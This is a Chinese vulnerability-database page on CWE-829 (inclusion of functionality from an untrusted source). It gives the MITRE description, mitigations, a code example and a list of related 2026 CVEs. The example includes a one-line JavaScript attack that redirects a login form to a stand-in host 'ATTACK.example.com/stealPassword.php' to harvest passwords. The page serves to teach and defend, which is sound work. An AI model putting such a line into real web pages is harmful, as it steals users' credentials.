目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1359 元

100%
请我们喝杯咖啡

CWE-829 从非可信控制范围包含功能例程 类漏洞列表 193

CWE-829 从非可信控制范围包含功能例程 类弱点 193 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-829 属于不信任源引入漏洞，指软件从非预期控制域导入可执行功能或库。攻击者常通过篡改第三方依赖或供应链，注入恶意代码以执行任意操作，从而破坏系统完整性。开发者应严格验证所有外部组件的来源与完整性，仅集成受信任且经过安全审计的库，并实施最小权限原则，确保仅加载符合预期的功能模块，以阻断不可信代码的执行路径。

MITRE CWE 官方描述
CWE：CWE-829 从不受信任的控制域（Untrusted Control Sphere）中引入功能 英文：产品从预期控制域（Intended Control Sphere）之外的源导入、需要或包含可执行功能（如库）。
常见影响 (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site. This could enable the injection of malware, information exposure by granting excessive privileges or…
缓解措施 (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
代码示例 (1)
This login webpage includes a weather widget from an external website:
<div class="header"> Welcome! <div id="loginBox">Please Login: <form id ="loginForm" name="loginForm" action="login.php" method="post"> Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> <div id="WeatherWidget"> <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script> </div> </div>
Bad · HTML
...Weather widget code.... document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Attack · JavaScript
CVE ID 标题 CVSS 风险等级 Published
CVE-2026-41336 OpenClaw 安全漏洞 — OpenClaw 7.8 High 2026-04-23
CVE-2026-6859 Red Hat Enterprise Linux AI 安全漏洞 — Red Hat Enterprise Linux AI (RHEL AI) 3 8.8 High 2026-04-22
CVE-2026-40903 goshs 安全漏洞 — goshs 9.1 Critical 2026-04-21
CVE-2026-41295 OpenClaw 安全漏洞 — OpenClaw 7.8 High 2026-04-20
CVE-2026-41253 iTerm2 安全漏洞 — iTerm2 6.9 Medium 2026-04-18
CVE-2026-6482 Rapid7 Insight Agent 安全漏洞 — Insight Agent 7.8AI High AI 2026-04-17
CVE-2026-40959 Luanti 安全漏洞 — Luanti 9.3 Critical 2026-04-16
CVE-2026-40313 PraisonAI 安全漏洞 — PraisonAI 9.1 Critical 2026-04-14
CVE-2026-40154 PraisonAI 安全漏洞 — PraisonAI 9.3 Critical 2026-04-09
CVE-2026-1342 IBM多款产品 安全漏洞 — Verify Identity Access Container 8.5 High 2026-04-07
CVE-2026-32920 OpenClaw 安全漏洞 — OpenClaw 8.4 High 2026-03-31
CVE-2026-3991 Broadcom Symantec Data Loss Prevention Windows Endpoint 安全漏洞 — Data Loss Prevention 7.8 High 2026-03-30
CVE-2025-55273 HCL Aftermarket DPC 安全漏洞 — Aftermarket DPC 4.3 Medium 2026-03-26
CVE-2026-22217 OpenClaw 安全漏洞 — OpenClaw 6.1 Medium 2026-03-18
CVE-2026-4295 Kiro IDE 安全漏洞 — Kiro IDE 7.8 High 2026-03-17
CVE-2026-4255 Thermalright TR-VISION HOME 安全漏洞 — TR-VISION HOME 7.8AI High AI 2026-03-16
CVE-2026-28135 WordPress plugin Royal Elementor Addons 安全漏洞 — Royal Elementor Addons 8.2 High 2026-03-05
CVE-2026-1628 Mattermost Desktop App 安全漏洞 — Mattermost 4.6 Medium 2026-03-02
CVE-2026-28372 GNU Inetutils 安全漏洞 — inetutils 7.4 High 2026-02-27
CVE-2026-27941 OpenLIT 安全漏洞 — openlit 10.0 Critical 2026-02-26
CVE-2026-26974 Slyde 安全漏洞 — Slyde 9.8AI Critical AI 2026-02-20
CVE-2026-26959 ADB Explorer 安全漏洞 — ADB-Explorer 7.8 High 2026-02-19
CVE-2026-26079 Roundcube Webmail 安全漏洞 — Webmail 4.7 Medium 2026-02-11
CVE-2026-1699 Eclipse Theia - Website 安全漏洞 — Eclipse Theia - Website 10.0 Critical 2026-01-30
CVE-2026-0770 Langflow 安全漏洞 — Langflow 9.8 - 2026-01-23
CVE-2026-22816 Gradle 安全漏洞 — gradle 8.2 - 2026-01-16
CVE-2025-68924 Umbraco Forms 安全漏洞 — Forms 7.5 High 2026-01-16
CVE-2025-70974 Fastjson 安全漏洞 — Fastjson 10.0 Critical 2026-01-09
CVE-2020-36924 Sony BRAVIA Digital Signage 安全漏洞 — Sony BRAVIA Digital Signage 6.1 Medium 2026-01-06
CVE-2020-36905 FIBARO System Home Center 安全漏洞 — Home Center 3 7.5 High 2026-01-06

CWE-829（从非可信控制范围包含功能例程） 是常见的弱点类别，本平台收录该类弱点关联的 193 条 CVE 漏洞。